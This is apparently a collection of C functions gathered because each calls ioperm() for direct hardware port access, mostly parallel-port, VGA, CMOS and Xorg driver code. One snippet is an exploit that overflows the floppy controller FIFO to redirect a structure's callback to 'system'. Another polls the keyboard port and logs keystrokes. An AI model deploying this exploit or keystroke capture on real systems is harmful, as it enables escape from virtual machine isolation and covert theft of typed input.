uint32_t BrightnessInitOnce_NCT(PBrightnessDev pDev) { int i; KIRQL IRQL_former = 0; IRQL_former = IRQL_former; if (pDev->Info.IOPort != 0) { ioperm(pDev->Info.IOPort, 2, 1); } Lock_SuperIO(&IRQL_former); pDev->BaseIOPort = Winbond_GetIOPort((uint8_t)pDev->Info.IOPort); if (pDev->BaseIOPort != 0) { ioperm(pDev->BaseIOPort, 2, 1); } pDev->HWType = Winbond_SearchChipType(pDev->Info.IOPort); UnLock_SuperIO(IRQL_former); for (i = 0; NCTTable[i].ChannelID != BLCH_NONE; i++) { if (NCTTable[i].ChannelID == pDev->Info.ChannelID && NCTTable[i].HWType == pDev->HWType) { pDev->Bank = NCTTable[i].Bank; pDev->FreqReg = NCTTable[i].FreqReg; } } return SUSI_STATUS_SUCCESS; }
int main(int argc, char **argv) { int code = 0; int last = 0; FILE *file = stdout; memset(status, false, sizeof(status) ); if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) { fprintf(stderr, "Imposible acceder al puerto del teclado."); exit(3); } while (1) { code = 0; if (inb(KB_ST) == 20) code = inb(KB_IO); if (code) { if (code != last) { last = code; #ifdef VIEWCODE fprintf(file, "%X", code); #else if (translate(code)) fprintf(file, "%s", translate(code)); #endif fflush(file); } } usleep(SLEEP); } return 0; }
int main(int argc, char *argv[]) { /* Get access to the ports */ if (ioperm(BASEPORT, 3, 1)) {perror("ioperm"); exit(1);} /* Set the data signals (D0-7) of the port to all low (0) */ if( argc == 2 ) { outb(atoi(argv[1]), BASEPORT); } else { outb(0, BASEPORT); } /* Sleep for a while (100 ms) */ usleep(100000); /* Read from the status port (BASE+1) and display the result */ printf("values: %d\n", inb(BASEPORT)); printf("status: %d\n", inb(BASEPORT + 1)); /* We don't need the ports anymore */ if (ioperm(BASEPORT, 3, 0)) {perror("ioperm"); exit(1);} exit(0); }
static int OPL_Linux_Init(unsigned int port_base) { // Try to get permissions: if (ioperm(port_base, 2, 1) < 0) { fprintf(stderr, "Failed to get I/O port permissions for 0x%x: %s\n", port_base, strerror(errno)); if (errno == EPERM) { fprintf(stderr, "\tYou may need to run the program as root in order\n" "\tto acquire I/O port permissions for OPL MIDI playback.\n"); } return 0; } opl_port_base = port_base; // Start callback thread if (!OPL_Timer_StartThread()) { ioperm(port_base, 2, 0); return 0; } return 1; }
int main() { /* Get access to the ports */ if (ioperm(BASEPORT, 1, 1)) { perror("ioperm"); exit(1); } printf("Press the keyboard to quit!\n"); while(!kbhit()) { /* Set the data signals (D0-7) of the port to all low (0) */ outb(0, BASEPORT); usleep(1000000); /* Set the data signals (D0-7) of the port to all low (0) */ outb(1, BASEPORT); usleep(1000000); } /* Read from the status port (BASE+1) and display the result */ printf("status: %d\n", inb(BASEPORT)); /* We don't need the ports anymore */ if (ioperm(BASEPORT, 3, 0)) { perror("ioperm"); exit(1); } exit(0); }
int main(int argc, char *argv[]) { int result = 0; unsigned char uc = 0x01; printf("Parallel Port Interface Test (Base: 0x%x)\n", BASE); signal(SIGINT, signal_handler); result = ioperm(BASE, 4, 1); if (result) { printf("ERROR: could not set permissions on ports\n"); return result; } while (running) { outb(uc, BASE); uc <<= 1; if (uc > 4) uc = 1; sleep(1); } outb(0x00, BASE); result = ioperm(BASE, 4, 0); if (result) { printf("ERROR: could not clear permissions on ports\n"); return result; } return 0; }
void readFanSpeed(unsigned char * uc) { int i = 0; if (ioperm(0x60, 6, 1)) { perror("ioperm"); exit(1); } for(i = 0; i < 4; i++) { checkInBufferFull(); outb(0xB9, 0x64); checkInBufferFull(); outb(0xEC, 0x60); checkInBufferFull(); outb(0x2A + i, 0x60); checkOutBufferFull(); uc[i] = inb(0x60); } if (ioperm(0x60, 6, 0)) { perror("ioperm"); exit(1); } }
void init_ports() { ioperm(0x378,1,1);//open port D(0) ioperm(0x379,1,1);//open port S(6) ioperm(0x37A,1,1);//open port C(4) outb(inb(0x37A) | 0x10, 0x37A);//set C4 to high }
unsigned char readKeypad() { unsigned char uc = 0; if (ioperm(0x60, 6, 1)) { perror("ioperm"); exit(1); } checkInBufferFull(); outb(0xB9, 0x64); checkInBufferFull(); outb(0xEC, 0x60); checkInBufferFull(); outb(0xAC, 0x60); checkOutBufferFull(); uc = inb(0x60); if (ioperm(0x60, 6, 0)) { perror("ioperm"); exit(1); } return uc; }
void main() { int base=0x378,i; if(ioperm(base,1,1)==-1) { printf("Permission denied!!! Error\n"); return; } else{} while(1){ for ( i = 0; i < 256; i=i*2) { if(i==0) i=1; outb(i,base); sleep(1); printf("%d\n",i); } } /*for ( i =1 ; ; i =1) for ( ; i <16 ; sleep ( 1 ) , i = i <<1) { outb(i,base) ; printf("%d\n",i); }*/ ioperm(base,1,0); return; }
int main(){ if( ioperm (PORTA, 3, 1)) { perror("ioperm"); return(1); } /* Permite acesso aos endereços 0x378, 0x379, 0x37a */ outb(0, PORTA); /* Desliga o Motor de Passo */ if (ioperm(PORTA, 3, 0)) {perror("ioperm"); return(1);} }
JNIEXPORT void JNICALL Java_parport_ParallelPort_writeOneByte (JNIEnv * algo, jclass otro, jint portData, jint oneByte) { if (ioperm(portData, 3, 1)){perror("ioperm error");} outb(oneByte,portData); if (ioperm(portData, 3, 0)){perror("ioperm error");} }
static PyObject* writeOneByte(PyObject* self, PyObject* args) { int oneByte, portData; if (!PyArg_ParseTuple(args, "ii", &portData, &oneByte)) { return NULL; } if (ioperm(portData, 3, 1)){perror("ioperm error");} outb(oneByte,portData); if (ioperm(portData, 3, 0)){perror("ioperm error");} return Py_None; }
static PyObject* readOneByte(PyObject* self, PyObject* args) { int ret, portStatus; if (!PyArg_ParseTuple(args, "i", &portStatus)) return NULL; if (ioperm(portStatus, 3, 1)){perror("ioperm error");} ret = inb(portStatus); if (ioperm(portStatus, 3, 0)){perror("ioperm error");} return Py_BuildValue("i", ret); }
void settimer(void){ int data; if(ioperm(0x61,1,1)!=0) printf("error ioperm"); if(ioperm(0x42,1,1)!=0) printf("error ioperm"); data = inb(0x61); data = data | 0x03; outb(data, 0x61); outb(0xA0,0x42); outb(0x0F,0x42); }
Bool xf86EnableIO() { if (ioperm(0, 0x10000, 1)) { FatalError("xf86EnableIO: ioperm() failed (%s)\n", strerror(errno)); return FALSE; } ioperm(0x40,4,0); /* trap access to the timer chip */ ioperm(0x60,4,0); /* trap access to the keyboard controller */ return TRUE; }
//Fun��o principal int main () { if (ioperm (LPT, 3, 1) == 1) //Ativa e verifica a Porta Paralela { printf ("Erro ao acessar o endere�o 0x378 (Porta Paralela).\n"); exit (1); //Em caso de erro } viewPosition(); //Exibe a posi��o atual (no caso T�rreo) console(); //Chama o console do elevador outb(STOP, LPT); ioperm(LPT, 3, 0); //Desativa a Porta Paralela return 0; //Fim do programa }
JNIEXPORT jint JNICALL Java_parport_ParallelPort_readOneByte (JNIEnv * algo, jclass otro, jint portStatus) { int ret; if (ioperm(portStatus, 3, 1)){perror("ioperm error");} ret = inb(portStatus); if (ioperm(portStatus, 3, 0)){perror("ioperm error");} return ret; }
int probe_qp(void) { /* Get access to the ports */ if (ioperm(0x2fa, 3, 1)) {perror("ioperm"); return 0;} if (ioperm(0x3fa, 3, 1)) {perror("ioperm"); return 0;} if (ioperm(0x390, 3, 1)) {perror("ioperm"); return 0;} if (ioperm(0x391, 3, 1)) {perror("ioperm"); return 0;} outb(0x55, 0x2fa); /* Any value except 9, ff or 36*/ outb(0xaa, 0x3fa); /* Inverse of 55 */ outb(0x36, 0x3fa); /* Address the chip */ outb(0xe4, 0x3fa); /* 390/4; 390 = config address*/ outb(0x1b, 0x2fa); /* Inverse of e4 */ if (read_710(0x0f) != 0xe4) /* Config address found? */ return 0; /* No: no 82C710 here */ qp_data = read_710(0x0d)*4; /* Get mouse I/O address */ qp_status = qp_data+1; outb(0x0f, 0x390); outb(0x0f, 0x391); /* Close config mode */ /* We don't need the ports anymore */ if (ioperm(0x2fa, 3, 0)) {perror("ioperm"); return 0;} if (ioperm(0x3fa, 3, 0)) {perror("ioperm"); return 0;} if (ioperm(0x390, 3, 0)) {perror("ioperm"); return 0;} if (ioperm(0x391, 3, 0)) {perror("ioperm"); return 0;} return 1; }
Bool xf86EnableIO(void) { #if defined(__powerpc__) int fd; unsigned int ioBase_phys; #endif if (ExtendedEnabled) return TRUE; #if defined(__powerpc__) ioBase_phys = syscall(__NR_pciconfig_iobase, 2, 0, 0); fd = open("/dev/mem", O_RDWR); if (ioBase == NULL) { ioBase = (volatile unsigned char *)mmap(0, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, ioBase_phys); /* Should this be fatal or just a warning? */ #if 0 if (ioBase == MAP_FAILED) { xf86Msg(X_WARNING, "xf86EnableIOPorts: Failed to map iobase (%s)\n", strerror(errno)); return FALSE; } #endif } close(fd); #elif !defined(__mc68000__) && !defined(__sparc__) && !defined(__mips__) && !defined(__sh__) && !defined(__hppa__) && !defined(__s390__) && !defined(__arm__) && !defined(__m32r__) && !defined(__nds32__) if (ioperm(0, 1024, 1) || iopl(3)) { if (errno == ENODEV) ErrorF("xf86EnableIOPorts: no I/O ports found\n"); else FatalError("xf86EnableIOPorts: failed to set IOPL" " for I/O (%s)\n", strerror(errno)); return FALSE; } # if !defined(__alpha__) /* XXX: this is actually not trapping anything because of iopl(3) * above */ ioperm(0x40,4,0); /* trap access to the timer chip */ ioperm(0x60,4,0); /* trap access to the keyboard controller */ # endif #endif ExtendedEnabled = TRUE; return TRUE; }
int vga16_init(int fd, struct fb_fix_screeninfo *finfo, struct fb_var_screeninfo *vinfo) { static size_t map_amt; if(ioperm(0x3c0, 0x20, 1) == -1){ printf("Cannot init vga16 mode.\n"); exit(1); } //assign globals fb_line_length = finfo->line_length; fb_smem_length = finfo->smem_len; fb_smem_offset = 0; map_amt = 0x10000; map_amt = (map_amt + getpagesize() -1 )/ getpagesize() * getpagesize(); fb_mem = mmap(NULL, map_amt, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if(!fb_mem || fb_mem == (unsigned char *)-1){ printf("Error init...\n"); exit(1); } return 0; }
int main(int argc, char *argv[]){ int i; if((argc>1)&&(!strcmp(argv[1],"-h"))){ printf("Usage: mode3 [ modenum [ font ] ]\n" "\n" "uses VESA bios to set video mode to modenum (3 by default)\n" "if font is given, uses setfont to change the screen font\n\n"); return 0; }; if (!LRMI_init()) return 1; ioperm(0, 0x400, 1); iopl(3); i=3; if(argc>1){ sscanf(argv[1],"%i",&i); if((i<=0))i=3; }; set_vesa_mode(i); if(argc>2){ execlp("setfont",argv[2],NULL); return 1; }; return 0; }
void kvm_arch_load_mpstate(CPUState *env) { #ifdef KVM_CAP_MP_STATE struct kvm_mp_state mp_state = { .mp_state = env->mp_state }; /* * -1 indicates that the host did not support GET_MP_STATE ioctl, * so don't touch it. */ if (env->mp_state != -1) kvm_set_mpstate(env->kvm_cpu_state.vcpu_ctx, &mp_state); #endif } void kvm_arch_cpu_reset(CPUState *env) { if (kvm_irqchip_in_kernel(kvm_context)) { #ifdef KVM_CAP_MP_STATE kvm_reset_mpstate(env->kvm_cpu_state.vcpu_ctx); #endif } else { env->interrupt_request &= ~CPU_INTERRUPT_HARD; env->halted = 1; } } void kvm_arch_do_ioperm(void *_data) { struct ioperm_data *data = _data; ioperm(data->start_port, data->num, data->turn_on); } void kvm_arch_process_irqchip_events(CPUState *env) { }
int ReadCmosToBuffer(BYTE readBuffer[]) { int status; int index; BYTE *pRead; //enable right status= ioperm(PORT_ADDR0_W,4,1); if(status<0) { perror("ioperm set error"); return -1; } pRead = readBuffer; //read PORT_ADDR0 for(index=0;index<BLOCK_LENGTH;index++) { outb(index,PORT_ADDR0_W); *pRead = inb(PORT_ADDR0_R) & 0xff; pRead++; } //read PORT_ADDR1 for(index=0;index<BLOCK_LENGTH;index++) { outb(index,PORT_ADDR1_W); *pRead = inb(PORT_ADDR1_R) & 0xff; pRead++; } return 0; }
int main(void) { RT_TASK *spktsk, *plrtsk; RTIME period; char buf[BUFSIZE], data, temp; unsigned int msg, i, len; printf("\n\nGENERIC RECEIVE\n"); ioperm(PORT_ADR, 1, 1); iopl(3); if (!(spktsk = rt_task_init_schmod(nam2num("SPKTSK"), 1, 0, 0, SCHED_FIFO, 0xF))) { printf("CANNOT INIT SPEAKER TASK\n"); exit(1); } rt_set_oneshot_mode(); start_rt_timer(0); mlockall(MCL_CURRENT | MCL_FUTURE); printf("\nSPEAKER TASK RUNNING\n"); rt_make_hard_real_time(); period = nano2count(PERIOD); rt_task_make_periodic(spktsk, rt_get_time() + 5*period, period); rt_returnx(rt_receivex(0, &msg, sizeof(int), &len), &msg, 1); for (i = 0; i < 100; i++) { rt_returnx(rt_receivex(0, &msg, sizeof(int), &len), &msg, 1); } len = 0; while(1) { if (len) { data = filter(buf[i++]); temp = inb(PORT_ADR); temp &= 0xfd; temp |= (data & 1) << 1; outb(temp, PORT_ADR); len--; } else { if (rt_evdrpx(0, buf, BUFSIZE, &i)) { // rt_printk("EVDRP %d\n", i); } if ((plrtsk = rt_receivex_if(0, buf, BUFSIZE, &len))) { rt_returnx(plrtsk, &len, sizeof(int)); if (len == sizeof(int) && ((int *)buf)[0] == 0xFFFFFFFF) { break; } i = 0; } } rt_task_wait_period(); } rt_sleep(nano2count(100000000)); rt_make_soft_real_time(); stop_rt_timer(); rt_task_delete(spktsk); printf("\nSPEAKER TASK STOPS\n"); return 0; }
// close_mstp(): Close the serial port associated with the given name. int close_mstp(int fd_mstp) { int iRtn = 0, iLdNum = 0; // n_tty: default unsigned char temp = 0; int fd_procfs_model = -1, iLenRd = 0; char cBuf[200]; struct serial_struct serial; // Swap in the default ldisc...: ioctl(fd_mstp, TIOCSETD, &iLdNum); // If this code is running on a 1200 or 2400, then we should passivate the port: fd_procfs_model = open("/proc/mediator/model", O_RDONLY); if(fd_procfs_model < 0) return iRtn; iLenRd = read(fd_procfs_model, cBuf, sizeof(cBuf) - 1); cBuf[iLenRd] = '\0'; #if 0 if((strncmp("1200",cBuf,4) == 0) || (strncmp("2400",cBuf,4) == 0)) { memset(&serial,0,sizeof(serial)); iRtn = ioctl(fd_mstp, TIOCGSERIAL, &serial); // get port num (eg 0x240) if(serial.port == 0) return iRtn; ioperm(0x240, 32, 1); temp = inb(serial.port + 3); outb(0xbf, serial.port + 3); inb(serial.port + 1); outb(0x08, serial.port + 1); outb(temp, serial.port + 3); } #endif return iRtn; }
int main(void){ unsigned char code[] = {'m','k','t','e','m','p','\0'}; //this can be a input of the function int len_of_command = sizeof(code)/(sizeof(char)); // printf("len = %d\n", len_of_command); //rewrite bh structure to point to "system", where cb is system, opaque is the string address char ctx[8] = {0x00,0xcc,0x14,0x56,0x55,0x55,0x00,0x00}; char cb[8] = {0x30,0xf2,0x6b,0xf6,0xff,0x7f,0x00,0x00}; char opaque[8]= {0x00,0x26,0x20,0x56,0x55,0x55,0x00,0x00}; char next[8]= {0xc0,0x45,0x1d,0x56,0x55,0x55,0x00,0x00}; char sid[8]= {0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; //open up port and set permission iopl(3); ioperm(FIFO, 1, 1); outb(SPC_COMMAND, FIFO); int i,j; j = BH_COUNT-SH_POSITION-len_of_command-NUM_STRUCT*STRUCT_LEN; //find a position to write shell code for(i=0; i<SH_POSITION; i++ ){ outb(TEST_VAL,0x3f5); } //write shell code for(i=0;i<SH_COUNT; i++){ outb(code[i], FIFO); } // go to bh struct for(i=0; i<j; i++){ outb(TEST_VAL, FIFO); } }
char* mp1_set_video_mode (void) { void *mem_image; int fd = open ("/dev/mem", O_RDWR); if (ioperm (0,1024,1) == -1 || iopl (3) == -1) { perror ("set port permissions"); return NULL; } if ((mem_image = mmap(0, 1048576, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED) { perror ("mmap low memory"); return NULL; } vmem_base_addr = mem_image + 0xb8000; asm volatile (" \ movw $0xC, %%ax\n \ movw $0x03d4, %%dx\n \ outw %%ax,(%%dx)\n \ movw $0x0d, %%ax\n \ outw %%ax,(%%dx)\n \ movw $0xE, %%ax\n \ outw %%ax,(%%dx)\n \ movw $0x0F,%%ax\n \ outw %%ax,(%%dx)" : : ); return vmem_base_addr; }
int main (int argc, char **argv) { unsigned char lights, i; if (ioperm(LPTPORT,1,1)) { fprintf(stderr,"erro ioperm.\n"); exit(1); } i = 0; lights = 0; outb(lights, LPTPORT); lights = 1; while (i < MAXLEDS) { // Seqüência de ida outb(lights, LPTPORT); lights = lights << 1; sleep(1); i++; } i = 0; lights = 128; /* 10000000 */ while (i < MAXLEDS) { // Seqüência de volta outb (lights, LPTPORT); lights = lights >> 1; sleep(1); i++; } lights = 0; outb(lights, LPTPORT); }
// enable S3 registers int enable() { int fd; if (v) return 1; errno = 0; v = malloc(sizeof(vga_t)); if (v) { if (ioperm(0x3d4, 2, 1) == 0) { fd = open("/dev/mem", O_RDWR); if (fd != -1) { v->mmio = mmap(0, S3_NEWMMIO_REGSIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, S3_MEMBASE + S3_NEWMMIO_REGBASE); close(fd); if (v->mmio != MAP_FAILED) { v->cr38 = readcrtc(0x38); v->cr39 = readcrtc(0x39); v->cr53 = readcrtc(0x53); writecrtc(0x38, 0x48); writecrtc(0x39, 0xa5); writecrtc(0x53, 0x08); return 1; } } iopl(0); } free(v); v = NULL; } }